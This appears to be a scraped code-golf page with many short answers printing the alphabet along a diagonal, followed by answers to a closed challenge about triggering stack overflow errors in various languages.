*extraneous whitespace that does not affect appearance* rule. [Try it online!](https://tio.run/##K6gsycjPM/r/P8/WzNQ6tSI1WamgKDOvRF1VK1ldVSNPJ0/TOk/b1tBaScvI7P9/AA "Python 2 – Try It Online") ### Alternate version, 38 bytes ``` n=1;exec"print'%*c'%(n,n+96);n+=1;"*26 ``` This produces the exact output from the challenge spec. [Try it online!](https://tio.run/##K6gsycjPM/r/P8/W0Dq1IjVZqaAoM69EXVUrWV1VI08nT9vSTNM6Txsoq6RlZPb/PwA "Python 2 – Try It Online") [Answer] ## R, 38 37 36 bytes ``` write(intToUtf8(diag(65:90),T),1,26) ``` (The use of `write` is inspired by [@Giuseppe's answer](https://codegolf.stackexchange.com/a/125135/7380).) [Answer] ## JavaScript (ES6), ~~60~~ 59 bytes ``` f=(n=10)=>n-36?" ".repeat(n-10)+n.toString(++n)+` `+f(n):"" ``` A recursive function which returns a string with a trailing newline. [Answer] # Vim, 29 bytes ``` :h<_↵↵↵y$ZZ25o <Esc>{qqpblD+q25@q ``` [Try it online!](https://tio.run/##K/tvVZyqkJj53yrDJp6Li6tSJSrKyDRfQbq6sLAgKcdFu9DI1KHw/38A "V – Try It Online") ↵ means press the return key < Esc> means press the escape key # How does this work? ``` :h<_↵↵↵ Open the help and navigate to the alphabet y$ZZ Copy the alphabet and close the help 25o <Esc> Abuse auto-indent and create a whitespace diagonal gg Go to the beginning of the file qq Record a macro pb Paste the alphabet and go to the first letter lD Go to the second letter and cut the rest of the alphabet + Go to the first non-blank character in the next line q Stop recording the macro 25@q Run the macro for the remaining letters ``` [Answer] # PHP, 39 bytes ``` for($s=a;!$s[26];$s=" ".++$s)echo"$s "; ``` [Answer] # [V](https://github.com/DJMcMayhem/V), ~~15~~ ~~13~~ 11 bytes ``` ¬azòÙr klDj ``` [Try it online!](https://tio.run/##K/v//9CaxKrDmw7PLFLIznHJ@v8fAA "V – Try It Online") ### Explanation ``` ¬az ' Insert a-z ò ' Recursively Ù ' Duplicate current line down r ' Replace the first character with a ' ' kl ' Move up a line and right D ' Delete from here to the end j ' Move back down ``` [Answer] # Pure Bash, 13 ``` echo {a..z}^K^H ``` Here `^K` and `^H` are literal vertical tab and backspace ASCII control characters. The `xxd` dump of this script is as follows - use `xxd -r` to regenerate the actual script: ``` 00000000: 6563 686f 207b 612e 2e7a 7d0b 08 echo {a..z}.. ``` * `{a..z}` is a standard bash brace expansion to produce `a b c ... z` (space separated) * the `^K` vertical tab drops the cursor down one line to the same position * the `^H` backspace moves the cursor back one to erase the separator space [Try it online](https://tio.run/##S0oszvhf/T81OSNfoTpRT6@qlpvjf21Ncn6Ogm5FTUli8n8A). `col` and `tac` are used in the footer to get this to render correctly in a browser window, but this is unnecessary in a regular terminal. --- If the above unorthodox control characters in the output are too much of a stretch for you, then you can do this: # Bash + common utilities, 24 ``` echo {a..z}^K^H|col -x|tac ``` Here `^K` and `^H` are literal vertical tab and backspace ASCII control characters. The `xxd` dump of this script is as follows - use `xxd -r` to regenerate the actual script: ``` 00000000: 6563 686f 207b 612e 2e7a 7d0b 087c 636f echo {a..z}..|co 00000010: 6c20 2d78 7c74 6163 l -x|tac ``` [Try it online](https://tio.run/##S0oszvj/PzU5I1@hOlFPr6qWm6MmOT9HQbeipiQx@f9/AA). The vertical tab and backspace may be rendered invisible by your browser, but they are there (invisible on chrome, visible on firefox). * `col -x` re-renders the input such that funny control characters are replaced with spaces and newlines to give the same visual result * for some reason `col` outputs lines in reverse order. `tac` corrects that. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~124, 116~~, 106 bytes ``` ((((()))))(((([][]){}){})[[]()]<>){(({})<(({})<({}<>({})({})<>)>) {({}<(<>({})<>)>[()])}{}(<>[][]<>)>[()])} ``` [Try it online!](https://tio.run/##RYxBCoBQCESvo4t/A/nQOcTFbxFE0eJvxbObU0GDyMyTcZ1jv9p2jiOTIIZg1NTYA6NqxCadnaiifNtDOtyTOuNciF4IoNXi8CiEbz/KzLbc "Brain-Flak – Try It Online") Explanation: This answer [abuses the Stack Height Nilad](https://codegolf.stackexchange.com/a/115095/31716), but in a new way that I've never used before, which I'm pretty proud of. Other than that, the answer's not too clever. So analyzing the characters used in this ASCII art, there are really three values that are frequently used: * 32 (space), * 64 (add 64 to N to get the N'th letter of the alphabet), and * 10 (newline) As well as 26. (number of loops) And these numbers are pushed in different locations, so we can't really reuses intermediate values to make the large numbers smaller. And pushing all for of these numbers is a whopping 86 bytes alone: ``` 10: ((()()()()()){}) 26: ((((()()()){}){}()){}) 32: ((((()()()()){}){}){}) 64: (((((()()()()){}){}){}){}) ``` This is horrible. So here's how we make it more convenient. The obvious approach is to push a `32` onto the alternate stack, which makes our `32` snippet become: `(<>({})<>)` and our `64` snippet become `(<>({})({})<>)`. If we combine our initial *push 32* with our initial *push 26*, we can save 8 bytes roughly. (my first golf). But here is where the trick I'm really proud of comes in. Since we're not using the alternate stack for anything else, we might as well golf down the 10 also. To do this, we'll push 4 arbitrary numbers onto the stack right at the start of the program. Since we also push 32, this increases the value of the `[]` nilad, to 5, which makes our `10` snippet much more convenient. And lucky for us, it actually lets us golf the *push 32 and 26* snippet down too! ``` #Push 32, 26 (((((()()()()){}){}){})<>[(()()()){}]) #Push 10 ((()()()()()){}) ``` Becomes ``` #Push 32, 26 (-2 bytes) (((((())))))((([][][]){}()())[[]]<>) #Push 10 (-6 bytes) (<>[][]<>) ``` So here is a detailed explanation: ``` # Push 1 four times ((((())))) # Push 32 to main stack (to reuse later)... ((([][][]){}()()) # And then 26 to the alternate stack [[]()]<>) #While true { # Keep track of the current TOS (({})< # Push [TOS, TOS + 64] (To get uppercase characters) (({})<({}<>({})({})<>)>) # TOS times... { # Decrement the loop counter, while pushing a space underneath it ({}<(<>({})<>)>[()]) # Endwhile, pop zeroed counter }{} # Push 10 (newline) (<>[][]<>) # Push TOS - 1 back one >[()]) # Endwhile } ``` [Answer] # Google Sheets, ~~67~~ 65 bytes ``` =ArrayFormula(IF(ROW(A1:Z)=COLUMN(A1:Z26),CHAR(96+ROW(A1:Z26)),)) ``` ~~=ArrayFormula(IF(ROW(A1:Z)=COLUMN(A1:Z26),CHAR(96+ROW(A1:Z26)),""))~~ Going off the clarification that any whitespace will do, I've used visibly empty cells [![Output](https://i.stack.imgur.com/faNGO.png)](https://i.stack.imgur.com/faNGO.png) Let me know if this doesn't count, if I've misunderstood the byte count or if I've screwed up some etiquette as this is my first post here. Edit: It turns out I can save 2 bytes by leaving out the "" as Google sheets will accept an empty if value. [Answer] # [APL (Dyalog)](https://www.dyalog.com/), ~~9~~ 7 [bytes](https://codegolf.meta.stackexchange.com/a/9429/43319 "When can APL characters be counted as 1 byte each?")[SBCS](https://github.com/abrudz/SBCS ".dyalog files using a single byte character set") -2 bytes thanks to ngn's hint. ``` ↑⍨∘-⌸⎕A ``` [Try it online!][TIO-j3o0ipjy] `⎕A` the uppercase **A**lphabet `⌸` between each (element,list of indices) pair, insert the following tacit function:  `↑⍨` from the element (the letter) take…  `∘` the…  `-` negated-index number of characters, i.e. that many characters from the back, padding on the front with spaces. [Try it online!](https://tio.run/##SyzI0U2pTMzJT///qKM97f@jtomPelc86pih@6hnx6O@qY4g4f9pAA "APL (Dyalog Unicode) – Try It Online") [Answer] ## PowerShell, 29 bytes ``` 0..25|%{' '*$_+[char]($_+97)} ``` [Answer] # Octave, ~~25~~ 19 or 12? bytes ``` [diag(65:90)+32 ''] ``` [Try it online!](https://tio.run/##y08uSSxL/f8/OiUzMV3DzNTK0kBT29hIQV099v9/AA "Octave – Try It Online") Other solution proposed by @LuisMendo (12 bytes) that I tested it in windows version of Octave: ``` diag('a':'z') ``` Explanation: Generates diagonal matrix of `a:z`. [Answer] # Java 8, ~~72~~ ~~71~~ ~~70~~ 61 bytes ``` o->{for(int a=0;a++<26;)System.out.printf("%"+a+"c%n",a+96);} ``` -1 byte by outputting the uppercase alphabet instead of lowercase. -1 byte by printing directly, instead of returning a multiline String. -8 bytes thanks to *@OliverGrégoire* by using `printf` directly to get rid of `String s="";`. And also -1 byte by changing `()->` to `o->`. [Try it here.](https://tio.run/##LY7BCoMwDIbve4pQEFo6ZewgjM69wdzB49ghdnXoaiu2CkN8dtdNITnkD/nyNThibDtlmud7kRqdgyvWZtoB1MarvkKpIP@NAKOtnyDprWyU9GCZCOkcOpTz6GsJORjIYLHxZapsTwMBMDsI5Px8TAUrPs6rNrGDT7o@LCtKIsKRExkZskd@SpmYF7Eiu6HUAbmR/7/bYEYLH05f9wcgW7VMIqkZtN585uUL) [Answer] # [shortC](https://github.com/aaronryank/shortC), 33 bytes ``` AOI_=0;++_<27;R"%*c\n",_,_+96));} ``` [Try it online!](https://tio.run/##K87ILypJ/v/f0d8z3tbAWls73sbI3DpISVUrOSZPSSdeJ17b0kxT07r2/38A "shortC – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~10~~ 9 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -1 byte thanks to Dennis (avoid decrementing `J` by using a lowered range, `26Ḷ`, directly) ``` 26Ḷ⁶ẋżØaY ``` A full program that prints the result. **[Try it online!](https://tio.run/##ARoA5f9qZWxsef//MjbhuLbigbbhuovFvMOYYVn//w)** (`ØaJ’⁶ẋż` for 7 is a monadic link that returns a list of lists of lists of characters, but that is like `[["a"],[" ","b"],[" ","c"],...]` which is probably unacceptable.) I would, however, not be surprised if there was a shorter way I have not thought about! ### How? ``` 26Ḷ⁶ẋżØaY - Main link: no arguments 26 - literal 26 Ḷ - lowered range = [0,1,2,...,26] ⁶ - literal space character ẋ - repeat [ [], [' '], [' ',' '], ..., [' ',' ',...,' ']] Øa - yield lowercase alphabet ż - zip [[[],'a'],[[' '],'b'],[[' ',' '],'c'],...,[[' ',' ',...,' '],'z']] Y - join with newlines [[],'a','\n',[' '],'b',\n',[' ',' '],'c','\n',...,'\n',[' ',' ',...,' '],'z'] - implicit print (smashes the above together, printing the desired output) ``` [Answer] # [Alice](https://github.com/m-ender/alice), ~~22~~ 20 bytes ``` 52E&waq'a+q&' d&o]k@ ``` [Try it online!](https://tio.run/##S8zJTE79/9/UyFWtPLFQPVG7UE1dIUUtPzbb4f9/AA "Alice – Try It Online") Even though the output is a string, it turns out ordinal mode is not the way to go for this challenge. ### Explanation ``` 52E&w k@ do 26 times a push 10 (LF) q push current tape position (initially zero) 'a+ add the ASCII code for "a" q&' push 32 (space) a number of times equal to tape position d&o output entire stack ] move tape position one space to the right ``` ## Previous solution ``` ["za/?rO& ' !]\"ohkw@/ ``` [Try it online!](https://tio.run/##S8zJTE79/z9aqSpR377IX41LXUExNkYpPyO73EH//38A "Alice – Try It Online") I went through about ten 23-byte solutions before I was able to find this one. ### Explanation This program uses the tape to track the number of spaces to output. Cardinal and ordinal modes use the same tape, but they have separate tape heads. The two modes have different interpretations of what they see on the tape, and the program fully exploits that difference. The commands are executed in the following order: ``` [ move cardinal tape position left "za" push this string (as a string, since the final " is in ordinal mode) r interpolate to entire range (i.e., the lowercase alphabet backward) h split first character from string & for each character in string: push that character and... w push current address onto return address stack ' ! (cardinal mode) place 32 (space) at current cardinal tape position ] (cardinal mode) move cardinal tape position right ? (back to ordinal mode) read string from tape starting at ordinal tape position this string will consist of n-1 spaces. o output string of spaces O output top of stack (current letter) followed by newline k return to pushed return address. after 26 times through this loop, the return address stack will be empty and this is a no-op. @ terminate ``` [Answer] # Brainfuck, 103 bytes ``` >-<-----[[<+>->>+++>-<<<]>++]<<<<<<<<<[-]>>>-[<[-]<[-]<[>+>+<<-]>>[<<+>>-]<[>>>>.<<<<-]<+>>>>.+>>.<<<-] ``` [Try it online!](https://tio.run/##NYtRCoBACEQPNNgJhrmI@FFBEEEfQec33aUH4sxDt2c97@Pdr0wZrXEnZBJQi2RUCv64hSTzDnMEgWztrE8NVyx9XgWjYAqLzA8) The location of the variables is somehow improvable. ## Explanation ``` >-<-----[[<+>->>+++>-<<<]>++] Initializes the tape. <<<<<<<<<[-]>[-]>>- Resets variables that need to be at 0. [ For loop (25 to 0). <[-]<<[>+>+<<-]>>[<<+>>-] Copy the spaces count in order to use it in a loop. <[>>>>.<<<<-] Prints the spaces. Prints the character followed <+>>>>.+>>.<<<- by a new line. Also decrements the main loop counter. ] ``` [Answer] # Google Sheets, 69 bytes ``` =ArrayFormula(JOIN(" ",REPT(" ",ROW(A1:A26)-1)&CHAR(96+ROW(A1:A26)))) ``` Nothing complicated here. The only trick is using `ArrayFormula` and `ROW(A1:A26)` to return 26 different values for the `JOIN` function. Output looks like this: [![Output](https://i.stack.imgur.com/WlpJl.png)](https://i.stack.imgur.com/WlpJl.png) --- I think Excel 2016 can do the same thing with `TEXTJOIN` but I can't enter array formulas in the online version and only have 2013 myself. The formula *should* be this: ``` =TEXTJOIN(" ",FALSE,REPT(" ",ROW(A1:A26)-1)&CHAR(96+ROW(A1:A26))) ``` Entering it as an array formula (`Ctrl`+`Shift`+`Enter`) adds curly brackets `{ }` on both sides, bringing it to 67 bytes. Anyone who can verify it works is welcome to use it as their own answer. [Answer] # [Seed](https://esolangs.org/wiki/Seed), 6014 bytes I don't think this will win any awards, but just for fun, here's a solution in Seed. ``` 86 11103250503694729158762257823050815521568836599011209889044745493166180250197633623839266491438081837290079379263402288506775397211362446108152606095635373134468715450376738199004596861532212810083090232034321755895588102701453625219810339758989366211308223221344886043229936009486687653111291562495367476364760255760906228050130847228170228716790260998430434027546345063918859356161024202180254514539438087787769611000320430464740566450402368450792375043801526494811596087812709169139468697779440918934518195843690439213251884693846598754642076364755341359062651237754916053099089619667382845958005035392458577634784453744876558142057256976895330859887974064083588368087014591508237946214519271550243549214199679364098489146944338807874570414584343165070707969101892779772740177526390597395955859236589308394889243501541206981604661264930842784772121710695027991351718061777696274815931123342985242351444203296855501870888626347939456384376808446806093364176576945969539054970975848477876079897476093353730443488664472826635815956526890935049081522728044807877072639829234224838977148057506785320443165975265560224605597481381188291535996775480326796788286452216432605854564432262547835415260058472165825285438444435690700488258778785613363062417500848996527077259315494936037544655054620369560227407957368700650031346856230643646273909094915618471799926504192999361174763592054723307855670381682927214117502862645460031555724588536036895597768493827964819026940533784490457441244859937078155137620826821294513857153097135094397278852300032685608169642137925241118197368192392427097109982751185030229544527638686131131545529690698706313745703838144933923021851042677941879847025167921010148923860660695145106913052517930707522151230705792709484338746351589089180137363986003757314611932324492978098101655359729841878862276799317010824753645947659706175083519817734448003718088115457982394423932136760435046136644679525408371158980833993157988971884061469882136904103033944270884697456159261033500286722891139158500027351042265757431184139617566089023339480051231776345929815102059539844917563709940188668873305602146506284075271989710388430531233185164106985265575418252638186398535149202928422854319253947591044830747981534342833040219194969504971457701296402664807369043224201667623773161453335066484102800249947322601702575025462427139266561015140950621152993027466758026351218924607290766894274223554418125824416921899080393405328694235821466034161071834073874727856768719898425047229002772806527172294625623026601313091815217479540688812203850300478145319935479599086534606210099372526810614742385909275512758349679098012967475393301857434507012875239092688018536028125644341148882858752275129016876257290205949225918496182271679312996010157634568807332616541938310641844258434083838017690572891417189135014450484203635258935943095637185443145042430274553211816422809756194554145177421779800554334935224073734034988935790096239926730047370699006392111034056662661567902477446646680125183082979598538506383502737734442490068661537425714549752783861222862366340979663873475326752237893690641570287341027097775099918958849864419430754493042534812120486345363285167685811903366691676146427476942948696624274431993989133835880516551024369474029197791751838810883302415448112237526350703063618171739262753474029252659418383385834751808940073804107171146665382663467460066719556797639176747423279761528061219482681051780434845070421974558638870988408449698678976622755518024906714421419806347234183574860655249471877105716127767795785164699804819127058322715857697491583787449703283625085118896433923054087238479453964363805045497229148813441732912067120594705269402106426011497763749556561398150139686331615167139081591537739333533146667211063179804707883556569241294269430626179579760506971066676011512530066694518309930078451295032445835025178124213221937594928472509588116557231122849491576207720183829735710200290762251904109318007206980645946249679357907549498615310165588678201768095297568708803842208357473777731751349499510116345704811971207818719582793964185192140178454948686109674659005978400204479072321714207828018696339659886683414074211823497880135255138161141724546221354224299071581607979907417508104234534779573666933024250229754952685174194168516481670999039048675109878524061868078078216337487277443941946961426121900907734301692962783139932352047932263834773963592317279425421954035566305805348109175553209815893678595198155962166838761859540063188209014774346841267440789072833797121217961797443744676162541668802226500817146368372390178287945076657776275930590173768326046610094573983886099504933977126798348879838826160714899283593774855907724617352862079916515034033299006419237012240730789008999523238851913897908225482003661109026061857228300111070725651744312468140016983078297938157227595743419983763920290850801438187869169473456288283458163865462359588316419331445070232596307970490434468929587726795603069137946085898481642595124580643542063564880389350236902538522311931690905858973696558714577085714396738993556273941292496636824719451697631982422926675238248502170501569627556395875619564600587531422890212003952929325067813498958390095519100963598626450443103780781917045489137526377521695121594716424797216910752252094749957224424042047863869830458287114846161217532552045343745235776511344577755412402833175338541217548987687334493461236111032661075185714361252784989689657180878190058132112701323898697673356854132286586129946906160482715702618768869398700713988301485421822519104930442450343377920756456344715552821899659777521739288202633751258303637433110490141551780764889912485271829265224821750882760152112536985349681370761157202793523201156381835717321637420939424473215237574260806475544972321933149796156065126465186203580256364372579422208318560608817806013462242728082475787319168695978160861791054731154820533251279706873332364894538291172324730671914083193733203570060223897442373172904974570329139578763294810924815364789498523721281918680145538278976651264 ``` It translates to the following Befunge program: ``` vaa{ @> v# g02<v >30g20g` | 10g-:!v!: < >#< v,:g02_40g,1- ^ >1+20p$91+, v ``` [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 80 bytes ``` ++++++++[>+>++++>++++++++>+++<<<<-]>++>>+>++[->[<<<.>>>->+<]>+[-<+>]<<<.+<<.>>>] ``` [Try it online!](https://tio.run/##NYnLCYBQDAQLCrGCMI2EHFQQRPAgvPpj4mcuO8wu17yf21iPTPlwhF7@0GKFRhnP64pXmQBFrA5XE6KbvD0ybw "brainfuck – Try It Online") Formatted: ``` ++++++++[>+>++++ >++++++++>+++<<< <-]>++>>+>++[->[ <<<.>>>->+<]>+[- <+>]<<<.+<<.>>>] ``` Uses a simple multiplicative generation function to put some constants in memory, then repeats the process of printing N spaces then `'A' + N` for `N = 0..25`. Annotated: ``` INITIALIZE TAPE: 10 32 65 >26< 0 0 C_NEWLINE: 10 C_SPACE: 32 V_ALPHA: 65 V_COUNTER: 26 V_PREFIX: 0 V_PREFIX_TEMP: 0 ++++++++[>+>++++>++++++++>+++<<<<-]>++>>+>++ WHILE V_COUNTER != 0 [- "PRINT C_SPACE REPEATED V_PREFIX TIMES" "V_PREFIX_TEMP = V_PREFIX" V_PREFIX TIMES >[- PRINT C_SPACE <<<.>>> INCREMENT V_PREFIX_TEMP >+< ] "V_PREFIX = V_PREFIX_TEMP PLUS 1" V_PREFIX_TEMP PLUS 1 TIMES >+[- INCREMENT V_PREFIX <+> ] PRINT C_ALPHA <<<. INCREMENT C_ALPHA + PRINT C_NEWLINE <<. >>>] ``` [Answer] # **[brainfuck](https://tio.run/#brainfuck)**, 121 bytes `+++++++++++++[>+++++>++<<-]+++++[>>>++<<<-]++++[>>>>++++++++<<<<-]>>>>>-<<<[>>>+[>+>+<<-]>[<<.>>-]>[<<+>>-]<<<<<<.+>>.<-]` [Try It Online!](https://tio.run/##SypKzMxLK03O/v9fGxlE24EpIGljoxsLFbIDc6F8ENcOptwGLAwSsdMFMsFKgUbYgXXbRdvY6AElwAxtEMMGDPSAbD2g/P//AA) I'm new to golfing and I know this is extremely golfable but I just learned brainfuck and wanted to see if I could actually do something with it, so I'm sorry that this isn't an impressive answer. [Answer] # [Add++](https://github.com/SatansSon/AddPlusPlus), 1069 bytes ``` +97 & -87 & +22 & +66 & -88 & +22 & & +67 & -89 & +22 & & & +68 & -90 & +22 & & & & +69 & -91 & +22 & & & & & +70 & -92 & +22 & & & & & & +71 & -93 & +22 & & & & & & & +72 & -94 & +22 & & & & & & & & +73 & -95 & +22 & & & & & & & & & +74 & -96 & +22 & & & & & & & & & & +75 & -97 & +22 & & & & & & & & & & & +76 & -98 & +22 & & & & & & & & & & & & +77 & -99 & +22 & & & & & & & & & & & & & +78 & -100 & +22 & & & & & & & & & & & & & & +79 & -101 & +22 & & & & & & & & & & & & & & & +80 & -102 & +22 & & & & & & & & & & & & & & & & +81 & -103 & +22 & & & & & & & & & & & & & & & & & +82 & -104 & +22 & & & & & & & & & & & & & & & & & & +83 & -105 & +22 & & & & & & & & & & & & & & & & & & & +84 & -106 & +22 & & & & & & & & & & & & & & & & & & & & +85 & -107 & +22 & & & & & & & & & & & & & & & & & & & & & +86 & -108 & +22 & & & & & & & & & & & & & & & & & & & & & & +87 & -109 & +22 & & & & & & & & & & & & & & & & & & & & & & & +88 & -110 & +22 & & & & & & & & & & & & & & & & & & & & & & & & +89 & -111 & +22 & & & & & & & & & & & & & & & & & & & & & & & & & +90 & P ``` [Try it online!](https://tio.run/##nZNJDsQgDATvechcokiY3b@YL0TKA/L/C0Pb0miWLMAFie4qDpZZt23fS5k5TY9pyThna3HGKEl@J8iU4o8MKZiFzVeKnCWnn7zekpHG/jXoSDp30KG10vrDFr2TPpz0ILwQ8ZQAE4RJFwwomRDnSwqcTI35hgMpkyRjblHArDA1wJXIRnHbhEMgFVyjAMWq4psVSE6l0CFB86rFLg1iUDF1ilCjqrlbhZxU5gEZuu4GmSEdD@i@EA0@UC35489SXg "Add++ – Try It Online") Yep. That is hardcoded. I'm sure there is a better way, and if you want to find it, go ahead, but this way seems to work the best as Add++ is difficult to work with memory. [Answer] # [R](https://www.r-project.org/), ~~59~~ ~~49~~ 47 bytes *-10 bytes thanks to djhurio* *-2 bytes thanks to Sven Hohenstein* ``` write("diag<-"(matrix("",26,26),letters),"",26) ``` Prints to stdout. [Outgolfed by user2390246](https://codegolf.stackexchange.com/a/125226/67312) [Try it online!](https://tio.run/##K/r/v7wosyRVQyklMzHdRldJIzexpCizQkNJScfIDIg0dXJSS0pSi4o1dcBCmv//AwA "R – Try It Online") [Answer] # [><>](https://esolangs.org/wiki/Fish), ~~46 44~~ 42 bytes ``` "A"0::?!v" "o1-40. *(?!;30.>~$:oao1+$1+:d2 ``` [Try it online!](https://tio.run/##S8sszvj/X8lRycDKyl6xTElBKd9Q18RAj0tLw17R2thAz65OxSo/Md9QW8VQ2yrF6P9/AA "><> – Try It Online") # Explanation ``` Line 1: "a"0::?!v" "o1-40. "a"0 :Initialize the stack items (print char and space count) ::?!v :Duplicate the space count, check if 0, go down if 0 " "o1- :Print a space then take 1 from the space count 40. :Jump to codepoint row 0 col 4 (this restarts the loop) Line 2: *(?!;30.>~$:oao1+$1+:d2 >~ :Remove the zeroed space counter off the stack $:oao1+ :Place our print char on the top of the stack, duplicate and print it, print a new line, increase it by 1; a->b->c etc $1+ :Place our space count on the top of the stack and increase it by 1 * :d2 :Duplicate the space counter, add 26 to the stack (?!; :Add 0 to the stack, less than compare 0, if the counter is above 0 it terminates 30. :Jump to the first line, (back to printing spaces) ``` This is a completely different take from my previous 46 bytes so I've included the TIO to the only one as well. [46 bytes Try it online!](https://tio.run/##S8sszvj/X6k6UUnNzkrNSk3VysDW3jrFSEtF19BQj0sr38pescxQ18KEKzHfSq1OX03bMP//fwA "><> – Try It Online") Below is a link to Emigna's submissions, it was the first ><> answer but I believe mine is different enough (and saves a few bytes) to warrant a second one. [Emigna's answer](https://codegolf.stackexchange.com/a/125198/62009) [Answer] # [Haskell](https://www.haskell.org/), ~~66 65 58 57 45~~ 43 bytes Thanks to [@nimi](https://codegolf.stackexchange.com/users/34531/nimi) and [@maple\_shaft](https://codegolf.stackexchange.com/users/34345/maple-shaft) for saving ~~12~~ 14 bytes. ``` unlines[(' '<$['b'..n])++[n]|n<-['a'..'z']] ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/P822NC8nMy@1OFpDXUHdRiVaPUldTy8vVlNbOzovtibPRjdaPREool6lHhv7PzcxM0/BVqGgtCS4pEgh7f/XvHzd5MTkjFQA "Haskell – Try It Online") [Answer] # PHP, 23 bytes Note: uses IBM-850 encoding. ``` <?=join(~¶,range(a,z)); ``` Run like this: ``` echo '<?=join(~¶,range(a,z));' | php -n;echo # With default (utf8) terminal: echo '<?=join("\v",range(a,z));' | php -n;echo ``` # Explanation Create an array of all characters of the alphabet, join it with a vertical tab as glue. ]
[Question] [ **Closed**. This question needs [details or clarity](/help/closed-questions). It is not currently accepting answers. --- **Want to improve this question?** Add details and clarify the problem by [editing this post](/posts/9359/edit). Closed 6 years ago. [Improve this question](/posts/9359/edit) Write a program that throws a StackOverflow Error or the equivalent in the language used. For example, in *java*, the program should throw `java.lang.StackOverflowError`. **You are not allowed to define a function that calls itself** or a new class(except the one containing `main` in java). It should use the classes of the selected programming language. And it should not throw the error explicitly. [Answer] # Befunge, 1 I don't know Befunge, but... ``` 1 ``` [from Stack overflow code golf](https://stackoverflow.com/questions/62188/stack-overflow-code-golf) [Answer] ### Python (2.7.3), 35 characters ``` import sys sys.setrecursionlimit(1) ``` This operation itself succeeds, but both script and interactive will immediately throw `RuntimeError: 'maximum recursion depth exceeded'` afterward as a consequence. Inspired by elssar's answer. [Answer] ## Coq ``` Compute 70000. ``` `70000` is just syntactic sugar for `S (S ( ... (S O) ...))` with 70000 `S`'s. I think it's the type checker that causes the stack overflow. Here's a warning that is printed before the command is executed: ``` Warning: Stack overflow or segmentation fault happens when working with large numbers in nat (observed threshold may vary from 5000 to 70000 depending on your system limits and on the command executed). ``` [Answer] # Java - 35 ``` class S{static{new S();}{new S();}} ``` [Answer] ## Javascript 24 characters Browser dependent answer (must have access to `apply`): ``` eval.apply(0,Array(999999)) ``` * `eval` was the shortest global function name that I could find (anyone know of one that is shorter?) * `apply` allows us to convert an array into function parameters, the first parameter being the context of the function (`this`) * `Array(999999)` will create an array with the listed length. Not sure what the maximum number of arguments is, but it's less than this, and more than `99999` IE9: ``` SCRIPT28: Out of stack space SCRIPT2343: Stack overflow at line: 20 ``` Chrome 24: ``` Uncaught RangeError: Maximum call stack size exceeded ``` FireFox 18 ``` RangeError: arguments array passed to Function.prototype.apply is too large ``` **Note** — Due to the single threaded nature of javascript, infinite loops end up locking the UI and never throwing an exception. ``` while(1); for(;;); ``` Neither of these qualify. **Update** — this shaves off three characters: ``` eval.apply(0,Array(1e7)) ``` [Answer] # Python 2.7 (12 chars) ``` exec('{'*99) ``` results in a «s\_push: parser stack overflow» [Answer] # Mathematica, 4 chars ``` x=2x ``` > > $RecursionLimit::reclim: Recursion depth of 1024 exceeded. >> > > > [Answer] **Clojure, 12 chars** ``` (#(%%)#(%%)) ``` Running in the repl: ``` user=> (#(%%)#(%%)) StackOverflowError user/eval404/fn--407 (NO_SOURCE_FILE:1) ``` [Answer] # Java - 113 chars I think this stays within the spirit of the "no self-calling methods" rule. It doesn't do it explicitly, and it even goes through a Java language construct. ``` public class S { public String toString() { return ""+this; } public static void main(String[] a) { new S().toString(); } } ``` Condensed Version: ``` public class S{public String toString(){return ""+this;}public static void main(String[] a){new S().toString();}} ``` [Answer] # C, 19 bytes ``` main(){int i[~0u];} ``` [Answer] ## GolfScript (8 chars) ``` {]}333*` ``` Result: ``` $ golfscript.rb overflow.gs golfscript.rb:246:in `initialize': stack level too deep (SystemStackError) from /home/pjt33/bin/golfscript.rb:130:in `new' from /home/pjt33/bin/golfscript.rb:130:in `ginspect' from /home/pjt33/bin/golfscript.rb:130:in `ginspect' from /home/pjt33/bin/golfscript.rb:130:in `map' from /home/pjt33/bin/golfscript.rb:130:in `ginspect' from /home/pjt33/bin/golfscript.rb:130:in `ginspect' from /home/pjt33/bin/golfscript.rb:130:in `map' from /home/pjt33/bin/golfscript.rb:130:in `ginspect' ... 993 levels... from (eval):4 from /home/pjt33/bin/golfscript.rb:293:in `call' from /home/pjt33/bin/golfscript.rb:293:in `go' from /home/pjt33/bin/golfscript.rb:485 ``` Basically this creates a heavily nested data structure and then overflows the stack when trying to turn it into a string. [Answer] # x86 assembly, NASM syntax, 7 bytes ``` db"Pëý" ``` "Pëý" is 50 EB FD in hexadecimal, and ``` _loop: push eax jmp _loop ``` in x86 assembly. [Answer] ## **Ruby, 12** ``` eval"[]"*9e3 ``` Gives ``` SystemStackError: stack level too deep ``` Presumably system-dependent, but you can add orders of magnitude by bumping the last digit up (not recommended). Edit for explanation: Similarly to some other examples, this creates a string of `[][][]`...repeated 9000 times, then evaluates it: the rightmost `[]` is parsed as a function call to the rest, and so on. If it actually got to the beginning, it would throw an ArgumentError because `[]` is an object with a `[]` method that requires one argument, but my machine throws an error a little before the stack is over nine thousand. [Answer] # Rebol (11 Chars) ``` do s:[do s] ``` Yields: ``` >> do(s:[do s]) ** Internal error: stack overflow ** Where: do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do do... ``` Though Rebol has functions, closures, and objects...this doesn't define any of those. It defines a data structure, which in the code-as-data paradigm can be treated as code using DO. We can probe into the question of *"what is S"* with the REPL: ``` >> s: [do s] == [do s] >> type? s == block! >> length? s == 2 >> type? first s == word! >> type? second s == word! ``` DO never turns this into a function, it invokes the evaluator in the current environment on the structure. [Answer] # Casio Calculator, 11 keypresses It's quite hard to count bytes/tokens in this "language" - I've given the number of keypresses required, excluding Shift, Alpha (the second shift key) and `=` at the end - this certainly fits into 1 byte per keypress. Tested on the *fx-85GT PLUS* model, which is a standard, non-graphing, "non-programmable" scientific calculator. Other models will work. Just stack up 11 cube roots: `3√` `3√` `3√` `3√` `3√` `3√` `3√` `3√` `3√` `3√` `3√` It doesn't even give a syntax error about the missing number under the square root. This doesn't seem to work with square roots. 